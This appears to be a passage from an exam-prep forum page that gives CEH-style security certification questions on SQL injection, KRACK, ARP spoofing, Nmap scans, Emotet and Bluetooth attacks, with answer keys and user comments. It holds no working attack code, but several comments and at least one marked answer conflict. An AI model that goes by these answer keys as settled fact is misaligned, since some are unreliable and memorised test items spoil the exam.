C. Out-of-band SQLi

upvoted 1 times

✉️  **Vincent\_Lu** 1 year, 3 months ago

1.In-band SQLi: Stacked/Union/Error

2.Inferential SQLi: Boolean/Time

3.Out-of-band SQLi: DNS

upvoted 6 times

✉️  **sausageman** 1 year, 5 months ago

Selected Answer: C

C. Out-of-band SQLi

upvoted 1 times

✉️  **eli117** 1 year, 5 months ago

Selected Answer: C

C. Out-of-band SQLi.

Out-of-band SQL injection is an advanced form of SQL injection that is not reliant on the same channel as the application. In this technique, the attacker uses a different channel, such as an email, to send the data to an external server that is under their control. An example of this technique is exploiting a SQL vulnerability that allows an attacker to make DNS requests from the victim's server to an external server under the attacker's control, allowing them to pass data to the attacker.

upvoted 3 times

Attacker Rony installed a rogue access point within an organization's perimeter and attempted to intrude into its internal network. Johnson, a security auditor, identified some unusual traffic in the internal network that is aimed at cracking the authentication mechanism. He immediately turned off the targeted network and tested for any weak and outdated security mechanisms that are open to attack.

What is the type of vulnerability assessment performed by Johnson in the above scenario?

- A. Wireless network assessment
- B. Application assessment
- C. Host-based assessment
- D. Distributed assessment

Correct Answer: A

*Community vote distribution*

A (69%)      B (23%)      8%

✉  eli117  1 year, 5 months ago

Selected Answer: A

The answer is A. Wireless network assessment. Johnson identified unusual traffic in the internal network that is aimed at cracking the authentication mechanism, which suggests that there might be a rogue access point within the organization's perimeter. As a security auditor, Johnson immediately turned off the targeted network and performed a wireless network assessment to identify any weak and outdated security mechanisms that are open to attack.

upvoted 5 times

✉  victorfs 1 year, 4 months ago

I think is B opción.  
Application assesment

upvoted 1 times

✉  duke\_of\_kamulu  7 months, 2 weeks ago

A is the answer  
CEHv12 pg 553  
APP-Tests and analyzes all elements of the web infrastructure for any misconfiguration, outdated content, or known vulnerabilities

upvoted 2 times

✉  insaniunt 9 months, 1 week ago

Selected Answer: A

A. Wireless network assessment.  
"Determines possible network security attacks that may occur on the organization's system" CEH v12 book, page 553

upvoted 2 times

✉  IPconfig 10 months, 3 weeks ago

Selected Answer: B

Application Assessment  
Tests and analyses all elements of the web infrastructure for any misconfiguration, outdated content, or known vulnerabilities

CEH V12 Page 553

upvoted 1 times

✉  IPconfig 10 months, 3 weeks ago

"He immediately turned off the targeted network and tested for any weak and outdated security mechanisms that are open to attack."

upvoted 1 times

✉  I\_Know\_Everything\_KY 7 months, 2 weeks ago

You pivot from "web infrastructure" to "targeted network" in your 2 posts.

The answer is A: Wireless network assessment.

upvoted 2 times

✉  kunnu 1 year ago

Answer is A - Wireless Network Assessment, CEH v12 book page 555/2113

upvoted 2 times

✉  SailOn 1 year ago

this is a tricky question as the clue to the answer lies in the 'turned off the target network', meaning the auditor know it's a wireless attack, and so would choose to do a wireless network assessment. It is not application assessment as in the CEH course book, it is specifically defined at

assessment on web infrastructure. It could be host-based due to the mention of outdated security mechanisms. But due to the fact the auditor knows it's a wireless attack, A would be the best answer

upvoted 2 times

✉️👤 ZacharyDriver 1 year, 2 months ago

Selected Answer: A

A. Wireless Network Assessment

upvoted 2 times

✉️👤 Vincent\_Lu 1 year, 3 months ago

Selected Answer: C

C. Host-based assessment

Because Johnson must focus on authentication mechanism, and which should be belonging to the scope of "C. Host-based assessment"

upvoted 1 times

✉️👤 victorfs 1 year, 4 months ago

Selected Answer: B

The correct opción is B

B. Application assessment

Where is te wireless Network here?

Johnson's approach of shutting down the target network and testing for any weak and outdated security mechanisms indicates a more general assessment focused on applications and systems, rather than a specific evaluation of wireless networks. Johnson's goal is to identify weaknesses in authentication mechanisms and potential vulnerabilities in applications or systems that could allow for an attack.

upvoted 2 times

✉️👤 SoloMaan 10 months ago

I think Rogue access point is wireless.

upvoted 1 times

In this attack, an adversary tricks a victim into reinstalling an already-in-use key. This is achieved by manipulating and replaying cryptographic handshake messages. When the victim reinstalls the key, associated parameters such as the incremental transmit packet number and receive packet number are reset to their initial values.

What is this attack called?

- A. Evil twin
- B. Chop chop attack
- C. Wardriving
- D. KRACK

Correct Answer: D

*Community vote distribution*

D (100%)

✉️👤 **insaniunt** 9 months, 1 week ago

Selected Answer: D

D. KRACK - (K)ey (R)einstallation (A)tta(CK)  
upvoted 3 times

✉️👤 **Vincent\_Lu** 1 year, 3 months ago

Selected Answer: D

D. KRACK: This is an abbreviation for Key Reinstallation Attacks. It is a type of security vulnerability attack against the Wi-Fi security protocol WPA2, where attackers can exploit this vulnerability to steal sensitive information during Wi-Fi communication.  
upvoted 1 times

✉️👤 **victorfs** 1 year, 4 months ago

Selected Answer: D

The correcto option is D.  
D. KRACK  
upvoted 1 times

✉️👤 **eli117** 1 year, 5 months ago

Selected Answer: D

D. KRACK (Key Reinstallation Attack)  
upvoted 2 times

After an audit, the auditors inform you that there is a critical finding that you must tackle immediately. You read the audit report, and the problem is the service running on port 389.

Which service is this and how can you tackle the problem?

- A. The service is NTP, and you have to change it from UDP to TCP in order to encrypt it.
- B. The service is LDAP, and you must change it to 636, which is LDAPS.
- C. The findings do not require immediate actions and are only suggestions.
- D. The service is SMTP, and you must change it to SMIME, which is an encrypted way to send emails.

Correct Answer: **B**

*Community vote distribution*

B (100%)

✉️  **insaniunt** 9 months, 1 week ago

Selected Answer: B

B. The service is LDAP, and you must change it to 636, which is LDAPS.

upvoted 1 times

✉️  **Vincent\_Lu** 1 year, 3 months ago

Selected Answer: B

A. NTP:123  
B. LDAP:389, LDAPS:636  
D. SMTP:25, SMTPE: 465, 587

upvoted 3 times

✉️  **victorfs** 1 year, 4 months ago

Selected Answer: B

B. The service is LDAP, and you must change it to 636, which is LDAPS.

upvoted 1 times

✉️  **eli117** 1 year, 5 months ago

Selected Answer: B

B. The service is LDAP, and you must change it to 636, which is LDAPS. The problem is that LDAP (Lightweight Directory Access Protocol) is running on port 389, which is not encrypted. The solution is to change the port to 636, which is LDAPS (LDAP over SSL/TLS) and encrypts the communication.

upvoted 1 times

Mike, a security engineer, was recently hired by BigFox Ltd. The company recently experienced disastrous DoS attacks. The management had instructed Mike to build defensive strategies for the company's IT infrastructure to thwart DoS/DDoS attacks. Mike deployed some countermeasures to handle jamming and scrambling attacks.

What is the countermeasure Mike applied to defend against jamming and scrambling attacks?

- A. Allow the transmission of all types of addressed packets at the ISP level
- B. Disable TCP SYN cookie protection
- C. Allow the usage of functions such as gets and strcpy
- D. Implement cognitive radios in the physical layer

Correct Answer: D

*Community vote distribution*

D (100%)

✉️  sunce12 3 months, 1 week ago

D. Implement cognitive radios in the physical layer  
upvoted 1 times

✉️  duke\_of\_kamulu 7 months, 2 weeks ago

pg 1493 Implement cognitive radios in the physical layer to handle jamming and scrambling attacks  
upvoted 1 times

✉️  insanaint 9 months, 1 week ago

Selected Answer: D  
D. Implement cognitive radios in the physical layer  
upvoted 1 times

✉️  Vincent\_Lu 1 year, 3 months ago

Selected Answer: D  
D. Implement cognitive radios in the physical layer  
upvoted 1 times

✉️  victorfs 1 year, 4 months ago

Selected Answer: D  
D. Implement cognitive radios in the physical layer  
upvoted 1 times

✉️  eli117 1 year, 5 months ago

Selected Answer: D  
D. Implement cognitive radios in the physical layer.

Cognitive radios can sense the environment, sense other RF devices' signals, and use different frequencies in response to the sensing results. This makes the device very flexible in terms of being able to adjust to different environments and also to be able to detect and evade jamming or scrambling attacks. By deploying cognitive radios, Mike can mitigate the effects of DoS/DDoS attacks that use jamming or scrambling techniques.  
upvoted 3 times

You are using a public Wi-Fi network inside a coffee shop. Before surfing the web, you use your VPN to prevent intruders from sniffing your traffic.

If you did not have a VPN, how would you identify whether someone is performing an ARP spoofing attack on your laptop?

- A. You should check your ARP table and see if there is one IP address with two different MAC addresses.
- B. You should scan the network using Nmap to check the MAC addresses of all the hosts and look for duplicates.
- C. You should use netstat to check for any suspicious connections with another IP address within the LAN.
- D. You cannot identify such an attack and must use a VPN to protect your traffic.

**Correct Answer: B**

*Community vote distribution*

|         |         |
|---------|---------|
| A (82%) | B (18%) |
|---------|---------|

✉️  eli117  1 year, 5 months ago

**Selected Answer: A**

A. You should check your ARP table and see if there is one IP address with two different MAC addresses.

ARP spoofing is a type of attack where an attacker sends fake ARP (Address Resolution Protocol) messages to associate their MAC address with the IP address of another host on the network. This allows the attacker to intercept and modify traffic intended for the victim. By checking the ARP table on your laptop, you can see if there is any IP address with two different MAC addresses, which would indicate an ARP spoofing attack is in progress.

upvoted 8 times

✉️  0ea2cf3  5 months, 3 weeks ago

A: I saw this question somewhere else and the answer was "check ARP table".

upvoted 1 times

✉️  insanint 9 months, 1 week ago

**Selected Answer: A**

A. You should check your ARP table and see if there is one IP address with two different MAC addresses

ARP spoofing is a method of attacking an Ethernet LAN. It succeeds by changing the IP address of the attacker's computer to that of the target computer. A forged ARP request and reply packet can find a place in the target ARP cache in this process. As the ARP reply has been forged, the destination computer (target) sends frames to the attacker's computer, where the attacker can modify the frames before sending them to the source machine (User A) in an MITM attack. -- Module 08, page 1258

upvoted 1 times

✉️  YourFriendlyNeighborhoodSpider 10 months, 3 weeks ago

**Selected Answer: A**

ChatGPT:

Answer: A. You should check your ARP table and see if there is one IP address with two different MAC addresses.

Explanation:

ARP spoofing (or ARP poisoning) involves manipulating the ARP (Address Resolution Protocol) cache of a target device to associate its IP address with a different MAC address. This can be used for various malicious purposes, including intercepting network traffic.

Checking the ARP table on your device is a common method to detect ARP spoofing. If there is an entry in the ARP table with the same IP address but different MAC addresses, it could indicate an ARP spoofing attack.

The other options (B, C, D) do not specifically address ARP spoofing detection:

Option B: Nmap can identify hosts on a network but may not directly detect ARP spoofing.

upvoted 1 times

✉️  VidiMidi 10 months, 3 weeks ago

**Selected Answer: A**

arp -a

This will give you the ARP table

The table shows the IP addresses in the left column, and MAC addresses in the middle. If the table contains two different IP addresses that share the same MAC address, then you are probably undergoing an ARP poisoning attack.

As an example, let's say that your ARP table contains a number of different addresses. When you scan through it, you may notice that two of the IP addresses have the same physical address. You might see something like this in your ARP table if you are actually being poisoned:

| Internet Address | Physical Address  |
|------------------|-------------------|
| 192.168.0.1      | 00-17-31-dc-39-ab |

192.168.0.105 40-d4-48-cr-29-b2  
192.168.0.106 00-17-31-dc-39-ab

As you can see, both the first and the third MAC addresses match. This indicates that the owner of the 192.168.0.106 IP address is most likely the attacker.

upvoted 1 times

✉️ **Himox** 1 year, 1 month ago

Selected Answer: B

You are in a public space. The ARP table of the switch contains this information, but not your laptop's ARP table. Therefore, since you are not the administrator of the switch in this public space, the only available response is B -> "You should scan the network using Nmap to check the MAC addresses of all the hosts and look for duplicates."

upvoted 3 times

✉️ **Himox** 1 year, 1 month ago

Furthermore, if it's ARP spoofing, you're supposed to see two different IP addresses for the same MAC address, not the other way around.

upvoted 2 times

✉️ **Vicky\_One** 1 year, 2 months ago

Answer is B

It can never be a duplicated IPs, you only can see a duplicated MAC addresses.

upvoted 3 times

✉️ **Vincent\_Lu** 1 year, 3 months ago

Selected Answer: A

A. You should check your ARP table and see if there is one IP address with two different MAC addresses.

upvoted 2 times

✉️ **victorfs** 1 year, 4 months ago

Selected Answer: A

A. You should check your ARP table and see if there is one IP address with two different MAC addresses.

upvoted 1 times

Lewis, a professional hacker, targeted the IoT cameras and devices used by a target venture-capital firm. He used an information-gathering tool to collect information about the IoT devices connected to a network, open ports and services, and the attack surface area. Using this tool, he also generated statistical reports on broad usage patterns and trends. This tool helped Lewis continually monitor every reachable server and device on the Internet, further allowing him to exploit these devices in the network.

Which of the following tools was employed by Lewis in the above scenario?

- A. NeuVector
- B. Lacework
- C. Censys
- D. Wapiti

Correct Answer: **C**

*Community vote distribution*

C (100%)

✉️  Vincent\_Lu Highly Voted 1 year, 3 months ago

Selected Answer: C

A. NeuVector: NeuVector is a security platform for container environments that provides real-time container security monitoring and protection. It can detect and prevent security vulnerabilities and attacks within containers.

B. Lacework: Lacework is a cloud security platform that uses artificial intelligence and machine learning technologies to monitor and protect the security of cloud environments. It can detect and respond to security incidents and threats in cloud infrastructure.

C. Censys: Censys is an internet information gathering platform that scans and analyzes devices and services on the global internet. Censys provides relevant information about device configurations, security vulnerabilities, and network threats.

D. Wapiti: Wapiti is an open-source web vulnerability scanner used to find security vulnerabilities in websites. It can detect common vulnerabilities in web applications and provide corresponding reports and recommendations.

upvoted 7 times

✉️  eli117 Highly Voted 1 year, 5 months ago

Selected Answer: C

C. Censys.

Censys is a popular information-gathering tool used to collect information about devices connected to a network, open ports and services, and the attack surface area. It is used to generate statistical reports on broad usage patterns and trends, and to continually monitor every reachable server and device on the Internet, making it an ideal tool for hackers to gather information about their targets.

upvoted 5 times

✉️  insaniumt Most Recent 9 months, 1 week ago

Selected Answer: C

C. Censys

upvoted 1 times

Techno Security Inc. recently hired John as a penetration tester. He was tasked with identifying open ports in the target network and determining whether the ports are online and any firewall rule sets are encountered.

John decided to perform a TCP SYN ping scan on the target network.

Which of the following Nmap commands must John use to perform the TCP SYN ping scan?

- A. nmap -sn -PO < target IP address >
- B. nmap -sn -PS < target IP address >
- C. nmap -sn -PA < target IP address >
- D. nmap -sn -PP < target IP address >

Correct Answer: **B**

*Community vote distribution*

B (100%)

✉  eli117 Highly Voted 1 year, 5 months ago

Selected Answer: B

B. nmap -sn -PS < target IP address >

Explanation:

In a TCP SYN ping scan, Nmap sends a TCP SYN packet to the target port, expecting a SYN-ACK or RST response from an open port. If the response is RST, it means the port is closed. If there is no response, the port may be either open or filtered. This method is used to detect whether a port is open or closed.

The -sn option in Nmap is used for host discovery, and it disables port scanning. The -PS option is used to specify a TCP SYN ping scan, while the -PA and -PP options are used for TCP ACK and ICMP ping scans, respectively.

Therefore, the correct command for a TCP SYN ping scan in Nmap is:

nmap -sn -PS < target IP address >  
upvoted 8 times

✉  qtygbapjpesdayazko Most Recent 7 months ago

Selected Answer: B

PS aka "Ping Sync"

upvoted 1 times

✉  insanaint 9 months, 1 week ago

Selected Answer: B

B. nmap -sn -PS < target IP address >  
upvoted 1 times

✉  Vincent\_Lu 1 year, 3 months ago

Selected Answer: B

B. nmap -sn -PS < target IP address >  
upvoted 1 times

✉  victorfs 1 year, 4 months ago

Selected Answer: B

B. nmap -sn -PS < target IP address >  
upvoted 1 times

Ricardo has discovered the username for an application in his target's environment. As he has a limited amount of time, he decides to attempt to use a list of common passwords he found on the Internet. He compiles them into a list and then feeds that list as an argument into his password-cracking application.

What type of attack is Ricardo performing?

- A. Brute force
- B. Known plaintext
- C. Dictionary
- D. Password spraying

Correct Answer: C

*Community vote distribution*

C (100%)

✉  **insaniunt** 9 months, 1 week ago

Selected Answer: C

C. Dictionary (of common passwords)  
upvoted 1 times

✉  **victorfs** 1 year, 4 months ago

Selected Answer: C

C. Dictionary  
upvoted 1 times

✉  **eli117** 1 year, 5 months ago

Selected Answer: C

Ricardo is performing a dictionary attack, where he is using a list of common passwords to attempt to gain unauthorized access to the application using a list of words.

upvoted 2 times

What would be the fastest way to perform content enumeration on a given web server by using the Gobuster tool?

- A. Performing content enumeration using the bruteforce mode and 10 threads
- B. Performing content enumeration using the bruteforce mode and random file extensions
- C. Skipping SSL certificate verification
- D. Performing content enumeration using a wordlist

Correct Answer: D

*Community vote distribution*

D (100%)

✉️  a307962 2 months, 3 weeks ago

Selected Answer: D

- D. Performing content enumeration using a wordlist  
upvoted 1 times

✉️  insanaint 9 months, 1 week ago

Selected Answer: D

- D. Performing content enumeration using a wordlist  
Using a wordlist allows you to provide a list of potential directory and file names for Gobuster to check on the web server. This method is efficient and targeted, as it focuses on known paths rather than attempting to brute-force or randomly guess filenames. It's generally faster and more effective than brute-forcing or using random file extensions.

upvoted 1 times

✉️  victorfs 1 year, 4 months ago

Selected Answer: D

- D. Performing content enumeration using a wordlist  
upvoted 1 times

✉️  eli117 1 year, 5 months ago

Selected Answer: D

- D. Performing content enumeration using a wordlist is the fastest way to perform content enumeration on a given web server using the Gobuster tool. This is because a wordlist includes common paths, directories, and files that are likely to exist on the web server, and it is a pre-built list, so there is no need to generate a list on the fly. This approach avoids the overhead of trying to brute-force filenames or extensions and reduces the time it takes to discover content.

upvoted 3 times

When analyzing the IDS logs, the system administrator noticed an alert was logged when the external router was accessed from the administrator's Computer to update the router configuration.

What type of an alert is this?

- A. False negative
- B. True negative
- C. True positive
- D. False positive

Correct Answer: D

*Community vote distribution*

D (88%) 12%

✉️👤 jeremy13 [Highly Voted] 1 year, 4 months ago

Selected Answer: D

from the reponse of hasib125 - V10 Q213 -

D. False positive

True Positive - IDS referring a behavior as an attack, in real life it is

True Negative - IDS referring a behavior not an attack and in real life it is not

False Positive - IDS referring a behavior as an attack, in real life it is not

False Negative - IDS referring a behavior not an attack, but in real life is an attack

upvoted 9 times

✉️👤 boog [Highly Voted] 1 year, 5 months ago

D. False Positive

Not an attack/intrusion

upvoted 5 times

✉️👤 insaniunt [Most Recent] 9 months, 1 week ago

Selected Answer: D

D. False positive

upvoted 1 times

✉️👤 [Removed] 9 months, 2 weeks ago

Selected Answer: D

This is a poorly worded question. The best answer is a Benign Positive, since the alert is doing a true detection, but the activity isn't malicious.

Unfortunately EC-Council does not list "Benign Positive" as one of the answers on the pick list. According to NIST SP 800-86 pages 6-13 and C-1, a benign positive is a type of false positive. See also [https://csrc.nist.gov/glossary/term/false\\_positive](https://csrc.nist.gov/glossary/term/false_positive). So the best answer of the ones listed is D. False positive.

upvoted 1 times

✉️👤 EnidV 1 year, 1 month ago

Selected Answer: D

False Positive (No attack - Alert). The IDS is doing its job correctly but there is no attack in this case because it was the administrator's legitimate action that triggered the alert.

upvoted 2 times

✉️👤 EnidV 1 year, 1 month ago

Selected Answer: D

False Positive (No attack - Alert). The ISD is doing its job correctly but there is no attack in this case because it was the administrator's legitimate action that triggered the alert.

upvoted 2 times

✉️👤 Vincent\_Lu 1 year, 3 months ago

Selected Answer: D

D. False positive

upvoted 3 times

✉️👤 victorfs 1 year, 4 months ago

Selected Answer: C

C. True positive

the IDS correctly identified the access to the external router event

upvoted 1 times

✉ **Muli\_70** 1 year, 4 months ago

the C option is Correct :True Positive

<https://developers.google.com/machine-learning/crash-course/classification/true-false-positive-negative#:~:text=Similarly%2C%20a%20true%20negative%20is,incorrectly%20predicts%20the%20negative%20class.>

upvoted 2 times

✉ **sausageman** 1 year, 5 months ago

Selected Answer: D

D. False positive

upvoted 4 times

✉ **eli117** 1 year, 5 months ago

Selected Answer: C

This is a true positive alert, as the IDS correctly identified an actual security event that occurred. The event was the administrator accessing the external router to update the configuration, which triggered the IDS alert.

upvoted 2 times

Garry is a network administrator in an organization. He uses SNMP to manage networked devices from a remote location. To manage nodes in the network, he uses MIB, which contains formal descriptions of all network objects managed by SNMP. He accesses the contents of MIB by using a web browser either by entering the IP address and Lseries.mib or by entering the DNS library name and Lseries.mib. He is currently retrieving information from an MIB that contains object types for workstations and server services.

Which of the following types of MIB is accessed by Garry in the above scenario?

- A. LNMIB2.MIB
- B. DHCP.MIB
- C. MIB\_II.MIB
- D. WINS.MIB

Correct Answer: A

*Community vote distribution*

A (95%) 5%

✉️  **jeremy13** Highly Voted 1 year, 5 months ago

Selected Answer: A

A. LNMIB2.MIB  
Like 312-50v11 Q211  
CEH BOOK V12 : Module 04 P425

\* DHCP.MIB: Monitors network traffic between DHCP servers and remote hosts  
\* HOSTMIB.MIB: Monitors and manages host resources  
\* LNMIB2.MIB: Contains object types for workstation and server services  
\* MIB\_II.MIB: Manages TCP/IP-based Internet using a simple architecture and system  
\* WINS.MIB: For the Windows Internet Name Service (WINS)

upvoted 12 times

✉️  **insaniunt** Most Recent 9 months, 1 week ago

Selected Answer: A

A. LNMIB2.MIB  
LNMIB2.MIB covers workstation and server services  
upvoted 1 times

✉️  **IPconfig** 11 months, 1 week ago

Selected Answer: A

▪ DHCP.MIB: Monitors network traffic between DHCP servers and remote hosts ▪ HOSTMIB.MIB: Monitors and manages host resources  
▪ LNMIB2.MIB: Contains object types for workstation and server services  
▪ MIB\_II.MIB: Manages TCP/IP-based Internet using a simple architecture and system  
▪ WINS.MIB: For the Windows Internet Name Service (WINS)

upvoted 2 times

✉️  **Vincent\_Lu** 1 year, 3 months ago

Selected Answer: A

A. LNMIB2.MIB Most Voted  
upvoted 1 times

✉️  **Vincent\_Lu** 1 year, 2 months ago

I want to change answer to  
C. MIB\_II.MIB  
upvoted 1 times

✉️  **victorfs** 1 year, 4 months ago

Selected Answer: A

A. LNMIB2.MIB  
upvoted 1 times

✉️  **sausageman** 1 year, 5 months ago

Selected Answer: A

A. LNMIB2.MIB  
▪ DHCP.MIB: Monitors network traffic between DHCP servers and remote hosts  
▪ HOSTMIB.MIB: Monitors and manages host resources  
▪ LNMIB2.MIB: Contains object types for workstation and server services

- MIB\_II.MIB: Manages TCP/IP-based Internet using a simple architecture and system
- WINS.MIB: For the Windows Internet Name Service (WINS)  
upvoted 4 times

✉  eli117 1 year, 5 months ago

Selected Answer: C

The type of MIB accessed by Garry in the above scenario is C. MIB\_II.MIB. The Management Information Base (MIB) contains formal descriptions of all network objects managed by Simple Network Management Protocol (SNMP). MIB\_II.MIB is the second version of the Management Information Base for SNMP, which contains information on network interfaces, IP, Transmission Control Protocol (TCP), User Datagram Protocol (UDP), and other network protocols.

upvoted 1 times

Emily, an extrovert obsessed with social media, posts a large amount of private information, photographs, and location tags of recently visited places. Realizing this, James, a professional hacker, targets Emily and her acquaintances, conducts a location search to detect their geolocation by using an automated tool, and gathers information to perform other sophisticated attacks.

What is the tool employed by James in the above scenario?

- A. ophcrack
- B. VisualRoute
- C. Hootsuite
- D. HULK

Correct Answer: C

*Community vote distribution*

C (65%)      B (29%)      6%

✉  **insaniunt** 9 months, 1 week ago

Selected Answer: C

C. Hootsuite  
upvoted 1 times

✉  **kaben** 1 year, 1 month ago

Selected Answer: C

<http://socialbusiness.hootsuite.com/rs/hootsuitemediainc/images/hootguide-geo.pdf>  
upvoted 1 times

✉  **Vincent\_Lu** 1 year, 3 months ago

Selected Answer: C

A. ophcrack: ophcrack is a password cracking tool that is used to recover lost passwords. It specializes in cracking Windows passwords by using rainbow tables.

B. VisualRoute: VisualRoute is a network diagnostic tool that traces the route of network data packets and provides information about the network infrastructure and performance. It helps in identifying network connectivity issues and optimizing network performance.

C. Hootsuite: Hootsuite is a social media management platform that allows users to manage and schedule posts on multiple social media accounts from a single dashboard. It provides features like content scheduling, social media listening, analytics, and collaboration tools.

D. HULK: HULK is a web server denial-of-service (DoS) tool. It generates a massive amount of requests to overwhelm a target web server, causing it to become slow or unresponsive. HULK is primarily used for testing the resilience of web servers against DoS attacks.

upvoted 2 times

✉  **naija4life** 1 year, 3 months ago

Selected Answer: A

C. Hootsuite  
upvoted 1 times

✉  **victorfs** 1 year, 4 months ago

Selected Answer: C

C. Hootsuite  
upvoted 1 times

✉  **Mracs1987** 1 year, 4 months ago

C. Hootsuite  
upvoted 1 times

✉  **sausageman** 1 year, 5 months ago

Selected Answer: C

C. Hootsuite  
upvoted 2 times

✉  **jeremy13** 1 year, 5 months ago

Selected Answer: C

C. Hootsuite  
Like 312-50 V11 Q218  
CEH BOOK V12 Module 02 P181

Conducting location search on social media sites such as Twitter, Instagram, and Facebook helps attackers to detect the geolocation of the target. This information further helps attackers to perform various social engineering and non-technical attacks. Many online tools such as Followerwonk, Hootsuite, and Meltwater are available to search for both geotagged and non-geotagged information on social media sites. Attackers search social media sites using these online tools using keywords, usernames, date, time, and so on.

upvoted 4 times

✉  bellabop 1 year, 5 months ago

Selected Answer: B

Hootsuite is social media management tool

upvoted 2 times

✉  eli117 1 year, 5 months ago

Selected Answer: B

The tool employed by James in the above scenario is VisualRoute. It is a tool used to detect geolocations by automatically collecting information on traceroutes and pinging individual hosts. With this tool, James can gather information to perform other sophisticated attacks.

upvoted 3 times

Alice needs to send a confidential document to her coworker, Bryan. Their company has public key infrastructure set up. Therefore, Alice both encrypts the message and digitally signs it. Alice uses \_\_\_\_\_ to encrypt the message, and Bryan uses \_\_\_\_\_ to confirm the digital signature.

- A. Bryan's public key; Bryan's public key
- B. Alice's public key; Alice's public key
- C. Bryan's private key; Alice's public key
- D. Bryan's public key; Alice's public key

Correct Answer: D

*Community vote distribution*

D (100%)

✉️  eli117 Highly Voted 1 year, 5 months ago  
D. Bryan's public key; Alice's public key

Explanation:

Alice needs to send a confidential document to Bryan, and their company has public key infrastructure set up. In this scenario, Alice needs to encrypt the message using Bryan's public key, which ensures only Bryan can decrypt it using his private key. To ensure the authenticity of the message, Alice must digitally sign it using her private key, which can be verified by anyone who has access to Alice's public key, including Bryan. Therefore, Bryan uses Alice's public key to confirm the digital signature.

upvoted 5 times

✉️  a307962 Most Recent 2 months, 3 weeks ago

Selected Answer: D

D. Bryan's public key; Alice's public key  
upvoted 1 times

✉️  insanaint 9 months, 1 week ago

Selected Answer: D

D. Bryan's public key; Alice's public key  
upvoted 1 times

✉️  Vincent\_Lu 1 year, 3 months ago

Selected Answer: D

D. Bryan's public key; Alice's public key  
upvoted 1 times

✉️  victorfs 1 year, 4 months ago

Selected Answer: D

D. Bryan's public key; Alice's public key  
upvoted 1 times

✉️  eli117 1 year, 5 months ago

Selected Answer: D

D. Bryan's public key; Alice's public key  
upvoted 2 times

What is the file that determines the basic configuration (specifically activities, services, broadcast receivers, etc.) in an Android application?

- A. AndroidManifest.xml
- B. classes.dex
- C. APK.info
- D. resources.asrc

Correct Answer: A

*Community vote distribution*

A (100%)

✉️👤 **insaniunt** 9 months, 1 week ago

Selected Answer: A

A. AndroidManifest.xml  
upvoted 1 times

✉️👤 **Vincent\_Lu** 1 year, 3 months ago

Selected Answer: A

A. AndroidManifest.xml: contains basic information about the app, such as APP name, icon, version, launch activity, basic settings, component definitions, and required permissions.  
It also describes the app's components such as activities, services, broadcast receivers, content providers.  
B. classes.dex: the executable file in Android system, which includes compiled Java class files and is used by the virtual machine (Dalvik or ART).  
C. APK.info: no such file type in Android. but APK-Info is a Windows tool to get detailed info about apk file.  
D. resources.asrc: no such file type in Android. but resources.arsc is.  
It contains various resources used by the app such as images, fonts, colors, styles, layouts, etc.

upvoted 2 times

✉️👤 **victorfs** 1 year, 4 months ago

Selected Answer: A

A. AndroidManifest.xml  
upvoted 1 times

✉️👤 **eli117** 1 year, 5 months ago

Selected Answer: A

A. AndroidManifest.xml

Explanation: The AndroidManifest.xml file is a key file in an Android application that contains essential information about the application to the Android system, including the application's package name, its components such as activities, services, broadcast receivers, and content providers, and any required permissions. The Android system uses this file to launch the application components and enforce security policies.

upvoted 2 times

Mason, a professional hacker, targets an organization and spreads Emotet malware through malicious script. After infecting the victim's device, Mason further used Emotet to spread the infection across local networks and beyond to compromise as many machines as possible. In this process, he used a tool, which is a self-extracting RAR file, to retrieve information related to network resources such as writable share drives.

What is the tool employed by Mason in the above scenario?

- A. NetPass.exe
- B. Outlook scraper
- C. WebBrowserPassView
- D. Credential enumerator

Correct Answer: D

*Community vote distribution*

D (100%)

✉️  **insaniunt** 9 months, 1 week ago

**Selected Answer: D**

D. Credential enumerator.

This is a tool that Emotet uses to retrieve information related to network resources such as writable share drives, open SMB shares, and email addresses

upvoted 1 times

✉️  **Vincent\_Lu** 1 year, 3 months ago

**Selected Answer: D**

A. NetPass.exe: A password recovery tool used to extract network passwords on Windows.

B. Outlook scraper: A tool used to extract data from Microsoft Outlook.

C. WebBrowserPassView: A password recovery tool used to extract stored website login credentials from web browsers.

D. Credential enumerator: A security tool used for enumeration of network resources and either finds writable share drives

upvoted 2 times

✉️  **victorfs** 1 year, 4 months ago

**Selected Answer: D**

D. Credential enumerator

upvoted 1 times

✉️  **sausageman** 1 year, 5 months ago

**Selected Answer: D**

D. Credential enumerator

<https://cybersecurity.wa.gov/news/emotet-growing-threat>

Credential enumerator: a self-extracting RAR file containing two components, a bypass and a service component. The bypass component is used for enumeration of network resources and either finds writable share drives using Server Message Block (SMB) or tries to brute force user accounts including the administrator account. Once an available system is found, Emotet then writes the service component on the system, which writes Emotet onto the disk. Access to SMB can result in entire domains (servers and clients) becoming infected.

upvoted 4 times

✉️  **eli117** 1 year, 5 months ago

**Selected Answer: D**

Answer: D. Credential enumerator.

Explanation: The tool that Mason employed to retrieve information related to network resources such as writable share drives is a Credential enumerator. A credential enumerator is a tool that is used to extract credentials from the targeted system, including usernames, passwords, and hashes.

upvoted 2 times

Which of the following Bluetooth hacking techniques refers to the theft of information from a wireless device through Bluetooth?

- A. Bluesmacking
- B. Bluesnarfing
- C. Bluejacking
- D. Bluebugging

Correct Answer: **B**

*Community vote distribution*

B (100%)

✉️👤 Vincent\_Lu Highly Voted 🌟 1 year, 3 months ago

Selected Answer: B

- A. Bluesmacking: An attack that floods a device with Bluetooth packets, causing it to become unresponsive or crash.
  - B. Bluesnarfing: Unauthorized access to a Bluetooth device to extract personal information.
  - C. Bluejacking: Sending unsolicited messages or business cards to nearby Bluetooth devices for pranks or social interaction.
  - D. Bluebugging: Unauthorized access to a device, allowing control over its functions and access to data without the user's knowledge
- upvoted 5 times

✉️👤 insaniunt Most Recent ⓘ 9 months, 1 week ago

Selected Answer: B

- B. Bluesnarfing
- upvoted 1 times

✉️👤 victorfs 1 year, 4 months ago

Selected Answer: B

- B. Bluesnarfing
- upvoted 1 times

✉️👤 jeremy13 1 year, 5 months ago

Selected Answer: B

Like Q213 V11

upvoted 2 times

✉️👤 eli117 1 year, 5 months ago

Selected Answer: B

Bluesnarfing is the Bluetooth hacking technique that refers to the theft of information from a wireless device through Bluetooth. Bluesnarfing allows attackers to access contact lists, text messages, emails, and other data stored on a victim's Bluetooth-enabled device without the victim's knowledge or consent. This type of attack can be executed using specialized tools, such as BlueSnarf, which can be downloaded from the Internet.

upvoted 2 times

While browsing his Facebook feed, Matt sees a picture one of his friends posted with the caption, "Learn more about your friends!", as well as a number of personal questions. Matt is suspicious and texts his friend, who confirms that he did indeed post it. With assurance that the post is legitimate, Matt responds to the questions on the post. A few days later, Matt's bank account has been accessed, and the password has been changed.
